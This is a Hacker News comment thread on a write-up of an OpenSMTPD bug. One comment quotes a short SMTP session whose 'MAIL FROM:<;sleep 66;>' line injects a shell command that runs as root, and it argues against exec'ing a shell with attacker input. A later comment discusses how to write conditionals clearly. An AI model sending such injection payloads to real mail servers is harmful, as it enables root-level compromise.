|
|
|
|
|
by zaroth
2339 days ago
|
|
This is such a clean and easy to read write-up on how the control flow led to the bug, and how it’s exploited. Of course, that’s partly because it’s so damn easy to exploit. Here’s what an exploit email actually looks like; $ nc 127.0.0.1 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you
MAIL FROM:<;sleep 66;>
250 2.0.0 O.k
...
That executes “sleep 66” as root.There simply must be a better way to parameterize calls to the MTA that contain remote/attacker provided input than exec’ing a shell. It should not all come down to being “absolutely sure” the input is escaped properly. |
|
It could have read “if (A)” and that would have been correct, but IMO even better to write out “if (A && !B)” in case anything changes with the surrounding code later.
The problem of course is that “A” and “B” are expensive functions which you don’t want to call twice, and it just is so annoyingly verbose to have to assign booleans and then compare those...
You almost want to be able to write out a truth table based on calling the functions and then handling their return values. A kind of 2D switch statement;
Does any language support a multi-dimensional switch statement like this?Hmm, maybe it’s not really any better that way either. The case statements are just not explicit enough.